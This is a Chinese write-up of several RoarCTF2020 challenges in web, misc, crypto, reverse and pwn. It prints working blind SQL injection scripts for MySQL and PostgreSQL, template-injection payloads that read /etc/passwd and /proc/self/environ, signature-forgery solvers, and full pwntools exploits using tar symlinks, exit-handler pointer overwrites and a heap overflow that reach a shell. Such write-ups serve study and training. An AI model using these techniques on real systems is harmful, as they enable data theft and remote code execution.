RoarCTF2020 部分wp

 

WEB

ezsql

实现注入。

#coding=utf-8
import requests
import threading
import string
import time
import sys
pt = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+[]?<>@!#$%^&*~'
url="http://139.129.98.9:30003/"


sql="user()"


def blindequ(start,end):
    ret=""
    for i in range(start,end):
        for ch in pt:
            payload="admn'||(substr({0},{1},1)='{2}')#".format(sql,i,ch)
            data = {
                "username":payload,
                "password":'a'
            }
            #print data
            #req=requests.post(url,data=data,allow_redirects=False)
            req=requests.post(url+"/login.php",data=data)
            #print req.text
            #if req.status_code!=200 and req.status_code!=302:
            #    continue 
            if  "password error!" in req.text:
                ret=ret+ch
                sys.stdout.write("[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name,ret))
                sys.stdout.flush()
                break
    print(threading.current_thread().name+"[+]Result : ->"+ret+"<-")


blindequ(1,20)

然后发现需要表名 考虑新特性

# coding=utf-8
import requests
import threading
import string
import time
import sys
import string
import random
# pt = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+[]?<>@!#$%^&*~. '
pt = string.printable+'\xff'
url = "http://139.129.98.9:30003/"

# payload_dict = {k: v for k, v in enumerate(pt)}
sql = "version()"


def blindequ(start, end):
    ret = ""
    for i in range(start, end):
        # for k, ch in enumerate(pt):
        k = 0
        for k in range(32, 125):
            # payload = "admn'||(substr({0},{1},1)='{2}')#".format(sql, i, ch)
            # payload = "admi'||((0,'%s',2,1,1,1)>(table/**/information_schema.schemata/**/limit/**/2,1))#" % (ret+chr(k))
            payload = "admi'||((0,0,'%s',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)>(table/**/information_schema.tables/**/limit/**/2,1))#" % (ret+chr(k))
            data = {
                "username": payload,
                "password": 'a'
            }
            #print data
            # req=requests.post(url,data=data,allow_redirects=False)
            # if random.random() < 0.3:
            # time.sleep(random.random())
            req = requests.post(url+"/login.php", data=data)
            #print req.text
            # if req.status_code!=200 and req.status_code!=302:
            #    continue
            if "password error!" in req.text:
                ret = ret+chr(k-1)
                sys.stdout.write(
                    "[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name, ret))
                sys.stdout.flush()
                break
        if k == 124:
            break
    print(threading.current_thread().name+"[+]Result : ->"+ret+"<-")


blindequ(1, 50)

得到 f11114g表名

username处进行注入,substr的真假分别会报错username error和password error
随便设置一个password,字段是1的时候盲注得到表名,利用mysql8新增的特性构造payload盲注得到flag

import requests
url = 'http://139.129.98.9:30003/login.php'
payload = 'admin\'and/**/substr((table/**/f11114g/**/limit/**/1,1),{},1)=\'{}\'#'
passa='123'
result = ''
for j in range(1,500):
    for i in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
        py = payload.format(j,i)
        post_data = {'username': py,'password':passa}
        re = requests.post(url, data=post_data)
        if 'password' in re.text:
            result += i
            print(result)

你能登陆成功吗&你能登陆成功吗Revenge

PostGresql数据库
语法同Mysql不同 ban的也比较多
通过sqlmap找到了一个可以成功sleep()的语句需要bypass空格一下

F12种给了表和注入用的字段
因为是预期解使用同一脚本可打2题。
直接注入即可

import requests
import time
import datetime
result=''
url="http://139.129.98.9:30007/"
sql="1'/**/AND/**/4262=(CASE/**/WHEN/**/(ASCII(SUBSTRING((CURRENT_DATABASE())::text/**/FROM/**/1/**/FOR/**/1))=99)/**/THEN/**/(SELECT/**/4262/**/FROM/**/PG_SLEEP(5))/**/ELSE/**/4262/**/END)/**/AND/**/'1'='1"
for i in range(1,32):
    for j in range(32,128):
        sql="1'/**/AND/**/4262=(CASE/**/WHEN/**/(ASCII(SUBSTRING((select/**/password/**/from/**/users/**/limit/**/1/**/offset/**/0)::text/**/FROM/**/{}/**/FOR/**/1))={})/**/THEN/**/(SELECT/**/4262/**/FROM/**/PG_SLEEP(5))/**/ELSE/**/4262/**/END)/**/AND/**/'1'='1".format(i,j)
        data={
            "username":"admin",
            "password":sql
        }
        a=datetime.datetime.now()
        ss=requests.post(url,data)
        b=datetime.datetime.now()
       # print(b-a)
        if (b-a).seconds>4:
            result+=chr(j)
            print(result)
            break

html编辑器

一个HMTL编辑器,可以写入html再通过?view=XXXXX去访问
首先写{{1+2}},结果查询的时候返回了3,可见view去解析的过程中存在模板注入漏洞。
随便写一点模板注入的代码,确认漏洞存在。

{% include "/etc/passwd" with raw %}
使用include构造任意文件读取

{% include "/usr/local/app/app.js" with raw %}
读源码
然而读了/etc/profile、/etc/environment、/root/.bash_history等文件都没找到flag
最后在proc下面找到了
{% include "/proc/self/environ" with raw %}

 

Misc

签到

file协议导致后面的会url解码一次所以二次编码flag
直接读到flag

Hi_433MHZ

通过加补WAV的头或者直接导入原始数据放大频谱图发现规律

手动转01 后再转字符串即可解得flag

FM

通过分析得知是无线电,给了一个调频的范围,考虑是用软件来解调并且直接听无线电即可。
使用一个脚本来从iq转wav然后以32000MHZ导入进SDR#Sharp

即可听到flag

 

Crypto

Crypto_System

要求不同的消息有同样的签名,根据s相等,解方程 x1+b1r1=x2+b2r2构造r2

from pwn import *
from Crypto.Util.number import *
sh=remote("139.129.98.9","30001")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import hashlib
from math import gcd
context.log_level = 'debug'
def proof_of_work(sh):
    sh.recvuntil("XXXX+")
    suffix = sh.recvuntil(')').decode("utf8")[:-1]
    log.success(suffix)
    sh.recvuntil("== ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("Give me XXXX:", proof)

proof_of_work(sh)
sh.interactive()

# These three are constants
p = 12039102490128509125925019010000012423515617235219127649182470182570195018265927223
g = 10729072579307052184848302322451332192456229619044181105063011741516558110216720725


def int2str(data, mode="big"):
    if mode == "little":
        return sum([ord(data[_]) * 2 ** (8 * _) for _ in range(len(data))])
    elif mode == "big":
        return sum([ord(data[::-1][_]) * 2 ** (8 * _) for _ in range(len(data))])

def get_parameter(m):
    x = int2str(m, 'little')
    y = pow(g, x, p)
    a = bytes_to_long(hashlib.sha256(long_to_bytes(y).rjust(128, b"\0")).digest())
    b = pow(a, a, p - 1)
    h = pow(g, b, p)

    return y, h, b

def sign(m):
    y, h, b = get_parameter(m)
    r = getStrongPrime(512)
    s = (y * powmod(h, r, p)) % p 

    return str(r),str(s)

def verify(m, r, s):
    y, h, b = get_parameter(m)
    if s == ((y * powmod(h, r, p)) % p):
        return True
    else:
        return False

sh.recvuntil("Here is the frist message(64 bytes):")
message1 = bytes.fromhex(sh.recvuntil("\n")[:-1].decode()).decode()
sh.recvuntil("Here is the second message(64 bytes):")
message2 = sh.recvuntil("\n")[:-1].decode()
print("message2",message2)
message2 = bytes.fromhex(message2).decode()

sh.recvuntil("The frist message's 'r':")
message1_r = int(sh.recvuntil("\n")[:-1])
sh.recvuntil("Please choice your options:")
message1_y, message1_h, message1_b = get_parameter(message1)
message1_s = (message1_y * pow(message1_h, message1_r, p)) % p
message2_s = message1_s
#s == ((y * powmod(h, r, p)) % p)

message2_y, message2_h, message2_b = get_parameter(message2)
#target = (message2_s * inverse(message2_y,p))%p

#print("p=",p)
#print("target=",target)
#print("message2_h",message2_h)

#x1+b1r1=x2+b2r2
print(message1)
print(message2)
x1 = int2str(message1, 'little')
b1 = message1_b
r1 = message1_r
x2 = int2str(message2, 'little')
b2 = message2_b
tmp = gcd(b2,p-1)
print(tmp)
r2 = (((x1+b1*r1-x2)//tmp)*inverse(b2//tmp,p-1))%(p-1)

print(r2,message2_s)

sh.sendline("3")
sh.recvuntil("Please give me the (r,s) of the second message:")
print("("+str(r2)+","+str(message2_s)+")")
sh.sendline("("+str(r2)+","+str(message2_s)+")")
sh.interactive()

EASYRSA

先利用beta求出tip,再用tip求出x+y,x * y,解方程的x和y。

e = 65537
#m = bytes_to_long(flag)
#enc = powmod(m,e,n)
n=17986052241518124152579698727005505088573670763293762110375836247355612011054569717338676781772224186355540833136105641118789391002684013237464006860953174190278718294774874590936823847040556879723368745745863499521381501281961534965719063185861101706333863256855553691578381034302217163536137697146370869852180388385732050177505306982196493799420954022912860262710497234529008765582379823928557307038782793649826879316617865012433973899266322533955187594070215597700782682186705964842947435512183808651329554499897644733096933800570431036589775974437965028894251544530715336418443795864241340792616415926241778326529055663
e=65537
enc=10760807485718247466823893305767047250503197383143218026814141719093776781403513881079114556890534223832352132446445237573389249010880862460738448945011264928270648357652595432015646424427464523486856294998582949173459779764873664665361437483861277508734208729366952221351049574873831620714889674755106545281174797387906705765430764314845841490492038801926675266705606453163826755694482549401843247482172026764635778484644547733877083368527255145572732954216461334217963127783632702980064435718785556011795841651015143521512315148320334442235923393757396733821710592667519724592789856065414299022191871582955584644441117223
beta=11864389277042761216996641604675717452843530574016671576684180662096506094587545173005905433938758559675517932481818900399893444422743930613073261450555599
tip = (n-1)//(2*beta)
for i in range(10000):
    x_add_y = tip % beta + beta*i
    x_mul_y = (tip - x_add_y)//(2*beta)
    try:
        if iroot(x_add_y**2 - 4*x_mul_y,2)[1]:
            print "fxxk"
            y = (x_add_y - iroot(x_add_y**2 - 4*x_mul_y,2)[0] )//2
            x = x_add_y - y
            p = 2*y*beta + 1
            q = 2*x*beta + 1
            assert(is_prime(p) and is_prime(q))
            phi = (p-1)*(q-1)
            d = inverse(e,int(phi))
            print long_to_bytes(pow(enc,d,n))
    except:
        pass

Reverse

midnight魔改题,原来是十六进制reverse,这里是二进制reverse,魔改原来的脚本即可
https://github.com/ironore15/ctf/blob/master/2020-MidnightSun/rsa_yay/solve.py

from Crypto.Util.number import *
from gmpy2 import *
from itertools import product

n = 158985980192501034004997692253209315116841431063210516613522548452327355222295231366801286879768949611058043390843949610463241574886852164907094966008463721486557469253652940169060186477803255769516068561042756903927308078335838348784208212701919950712557406983012026654876481867000537670622886437968839524889
ct = 103728452309804750381455306214814700768557462686461157761076359181984554990431665209165298725569861567865645228742739676539208228770740802323555281253638825837621845841771677911598039696705908004858472132222470347720085501572979109563593281375095145984000628623881592799662103680478967594601571867412886606745

max_idx = 1

pq_list = [(1,1)]
'''
for idx in range(1, 512):
    mod = 2 ** (idx + 1)
    new_pq_list = []

    for p, q in pq_list:
        for i, j in product(range(2), repeat=2):
            np = i * 2 ** idx + p
            nq = j * 2 ** idx + q

            if (np * nq) % mod != n % mod:
                continue

            rp_min = int('{:b}'.format(np)[::-1].ljust(512, '0'), 2)
            rq_min = int('{:b}'.format(nq)[::-1].ljust(512, '0'), 2)
            rp_max = int('{:b}'.format(np)[::-1].ljust(512, '1'), 2)
            rq_max = int('{:b}'.format(nq)[::-1].ljust(512, '1'), 2)

            if n < rp_min * rq_min or rp_max * rq_max < n:
                continue

            new_pq_list.append((np, nq))

    print(len(new_pq_list))

    pq_list = new_pq_list


for p,q in pq_list:
    #p=13299413764048930133302138749466137829470129709829516069778014310838093114516400589047888072065037035007023741009041669893387899867083575829855377403280423
    #q=11954360020159164180709939019047385560179850436770100207193049651260543609501871575909448998378290922795824941066935928157032997160163537467165365731882943

    if p.bit_length() == q.bit_length()==512:
        d = inverse(0x10001, (p - 1) * (q - 1))
        pt = pow(ct, d, n)
        flag = long_to_bytes(pt)
'''        

p=13299413764048930133302138749466137829470129709829516069778014310838093114516400589047888072065037035007023741009041669893387899867083575829855377403280423
q=11954360020159164180709939019047385560179850436770100207193049651260543609501871575909448998378290922795824941066935928157032997160163537467165365731882943
d = inverse(0x10001, (p - 1) * (q - 1))
pt = pow(ct, d, n)
flag = long_to_bytes(pt)

print flag

ECDSA

不同消息有同样的签名,切入点在可以更改公钥Q,还有就是,r是dG.x,而dG.x == -dG.x,由于公钥可控,相当于签名验证时的私钥k可控,所以可以自己构造方程(s1==s2)解得一个自己的私钥K,然后再用这个私钥给msg签名得到s,r = dG.x,签名时的d自己生成就好。

from pwn import *
from Crypto.Util.number import *
sh=remote("139.129.98.9","30002")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import hashlib
from math import gcd
context.log_level = 'debug'

a=0
b=7
q=0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
gx=0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
gy=0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
order=0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

ecc = EllipticCurve(GF(q), [a,b])
G = ecc(gx,gy)

import hashlib

def sha1(content):
    return hashlib.sha1(content).digest()


def proof_of_work(sh):
    sh.recvuntil("XXXX+")
    suffix = sh.recvuntil(')').decode("utf8")[:-1]
    log.success(suffix)
    sh.recvuntil("== ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("Give me XXXX:", proof)

proof_of_work(sh)

sh.recvuntil("Here is the frist message(64 bytes):")
msg1 = sh.recvuntil("\n")[:-1]

sh.recvuntil("Here is the second message(64 bytes):")
msg2 = sh.recvuntil("\n")[:-1]
message = hex(bytes_to_long(msg1))[2:]
e1=bytes_to_long(sha1(msg1))
e2=bytes_to_long(sha1(msg2))
print("e1=",e1)
print("e2=",e2)




#pubkey = sh.recvuntil("\n")[:-2].decode()
#r=[d * G].x
d=12321
r=int((d*G)[0])
new_k = ((-e1-e2)*inverse(2*r,order))%order
new_G = new_k * G
new_S = ((e1-e2)*inverse(2*d,order))%order
#new_S = ((e1 + new_k*r)*inverse(d,order))%order
newpubkey = hex(new_G[0]).replace("0x","").rjust(64,"0")+hex(new_G[1]).replace("0x","").rjust(64,"0")
newsignature = hex(r).replace("0x","").rjust(64,"0")+hex(new_S).replace("0x","").rjust(64,"0")



sh.recvuntil("Please choice your options:")
sh.sendline("3")
sh.recvuntil("Please give me your public_key(hex):")
sh.sendline(newpubkey)

sh.recvuntil("Please choice your options:")
sh.sendline("6")
sh.recvuntil("Please give me the signature(hex) of the frist message:\n")
sh.sendline(newsignature)
sh.recvuntil("Please give me the signature(hex) of the second message:\n")
sh.sendline(newsignature)

sh.interactive()

 

Reverse

slime_war

游戏题,通过CE可以发现其中有几个Secret可以获得,通过不断改发现应该是有5个secret来触发flag,并且都需要手玩。
经过IDA调试发现以下几点:

  1. 打败boss
  2. 进入入口得隐藏房间
  3. 去买一个magicbox 去第二关的一个地点按t 然后最短路径走到t那个
  4. 输入whosyourdaddy
  5. 打出伤害为一个hash值(爆破后发现为666)

全部触发后得到flag

爆破伤害的hash

import idaapi
import idc

flag=0

for flag in range(467, 10000):
    GetDebuggerEvent(WFNE_SUSP, -1)
    SetRegValue(10, 'eax')
    GetDebuggerEvent(WFNE_SUSP, -1)
    SetRegValue(0x140001BC2, 'rip')
    GetDebuggerEvent(WFNE_SUSP, -1)
    RunTo(0x140001BCE)
    GetDebuggerEvent(WFNE_SUSP, -1)
    SetRegValue(flag, 'ecx')

    GetDebuggerEvent(WFNE_SUSP, -1)
    RunTo(0x140001CD8)
    GetDebuggerEvent(WFNE_SUSP, -1)
    RunTo(0x140001C09)
    GetDebuggerEvent(WFNE_SUSP, -1)

    test = GetRegValue("ZF")
    by2= get_bytes(0x00014FDF0, 5)
    print (by2)
    if(test==1):
        print ("Found:")
        print flag
        break

    GetDebuggerEvent(WFNE_SUSP, -1)

 

Pwn

qtar

rename获得该名字的可读权限,x获得可解压权限,上传一个带有指向/home/ctf/flag软链接的压缩包,通过改名获得二次解压的权限,然后直接读即可

from pwn import *
import os

sla = lambda x, y: p.sendlineafter(x, y)
context.log_level = 'debug'
p = remote('47.104.178.87', 49125)

def c(file, rename):
    sla('>', 'c')
    sla('Filename: /tmp/', file)
    sla(']','y')
    sla('Arcname:', rename)
    p.recvuntil('File compressed as ')
    re = p.recv(32)
    success('COMPFILE : '+re)
    return re
def x(file):
    sla('>', 'x')
    sla('Filename:', file)
def u(content):
    sla('>', 'u')
    sla('Content:', content)
    p.recvuntil('/tmp/')
    re = p.recv(32)
    success('UPFILE : '+re)
    return re

name = '/home/ctf/flag'
os.system('rm flagln')
os.system('ln -snf {} flagln'.format(name))
#os.system('echo 233333>flagln')
if 'flagln' not in os.listdir(os.getcwd()):
    exit(0)
os.system('tar -cvzf flag.tar flagln')
with open('flag.tar', 'r') as f:
    elf = f.read()

vic1 = u('123')
vic = c(vic1, '123')
c(vic1, 'flagln')
tar1 = u(elf)
tar = c(tar1, vic)
x(tar)
x(vic)
sla('>','r')
sla('Filename:','flagln')

p.interactive()

2a1

libc_start_main结束后执行exit,里面有个被fs:0x30加密过的dl_fini的值,通过泄露,算出fs:0x30,然后再加密system填入,参数填入binsh,拿到shell

#!/usr/bin/python

from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='2a1'
libc_name='libc-2.23.so'
if local:
    p=process("./"+binary_name)
    libc=ELF("./"+libc_name)
    #p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
    #p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
    p=remote('47.104.178.87',38378)
    e=ELF("./"+binary_name)
    libc=ELF("./"+libc_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))
def ROR(i,index):
    tmp = bin(i)[2:].rjust(64,"0")
    for _ in range(index):
        tmp = tmp[-1] + tmp[:-1]
    return int(tmp, 2)

def ROL(i,index):
    tmp = bin(i)[2:].rjust(64, "0")
    for _ in range(index):
        tmp = tmp[1:] + tmp[0]
    return int(tmp, 2)

ru('Gift: ')
libc_base = int(p.recvline()[:-1],16)-libc.sym['alarm']
print(hex(libc_base))
ptr = libc_base+0x3c5c58
print(hex(ptr))
dl_fini=libc_base+0x3daaf0
sa('where to read?:',p64(ptr))
ru('data: ')
encode_ptr = u64(p.recv(8))
print(hex(encode_ptr))

dl_fini_1 = ROL(dl_fini,0x11)
print(hex(dl_fini),hex(dl_fini_1))
key = dl_fini_1 ^ encode_ptr
print(hex(key))


exit_funcs=libc_base+0x3c45f8
system_addr = libc_base+libc.sym['system']
binsh = libc_base+0x18ce17
encode_system = key ^ ROL(system_addr,0x11)
sa('where to write?:',p64(exit_funcs))
print(hex(system_addr))

sla('msg:',b'a'*0x8+p64(1)+p64(4)+p64(encode_system)+p64(binsh))
ia()

easy_pwn

3处的edit中的read存在堆溢出,可以在堆中任意写,构造两个可以show的string,通过前一处的字符串溢出到后一个string类的字符串指针,修改指针末尾为’\x10’指向堆,泄露堆地址,再修改为unsorted bin的fd,泄露libc地址,最后指向free_hook修改为system,show的时候完成system(“/bin/sh”)

#!/usr/bin/python

from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='pwn'
libc_name='libc.so.6'
if local:
    p=process("./"+binary_name)
    libc=ELF("./"+libc_name)
else:
    p=remote('47.105.44.8',35793)
    e=ELF("./"+binary_name)
    libc=ELF("./"+libc_name)

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

def cho(num):
    sla("choice:",str(num))
def add():
    cho(1)
    sl('aaaaaaaa -> /bin/sh\x00bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb')
    sl('ccccccccccccccccccc -> ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd')
    sl('exit')
def show():
    cho(2)
def gf():
    cho(3)
def edit(name,size,data):
    cho(4)
    sla("Non-Terminal:", name)
    sla("size:",str(size))
    sd(data)

add()
heap_rub = 'g'*0x18+p64(0x21)+p64(0)*3+p64(0x51)+'d'*0x40+p64(0)+p64(0x81)
edit('c'*19,0x80000000,heap_rub+'\x10')
show()
ru('Grammar:\n')
p.recv(2)
heap_base = u64(p.recv(8))-0x250
print(hex(heap_base))
gf()
edit('g'*19,0x80000000,heap_rub+p64(heap_base+0x600)+p64(0x400))
show()
libc_base = u64(p.recvuntil('\x7f\x00\x00')[-8:].ljust(8, '\x00')) - 0x3c4ca8
print(hex(libc_base))
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
edit('g'*19,0x80000000,heap_rub+p64(free_hook)+p64(8))
a = '\x00'*8
edit(a,0x8,p64(system))
print(hex(system))
show()
ia()
(完)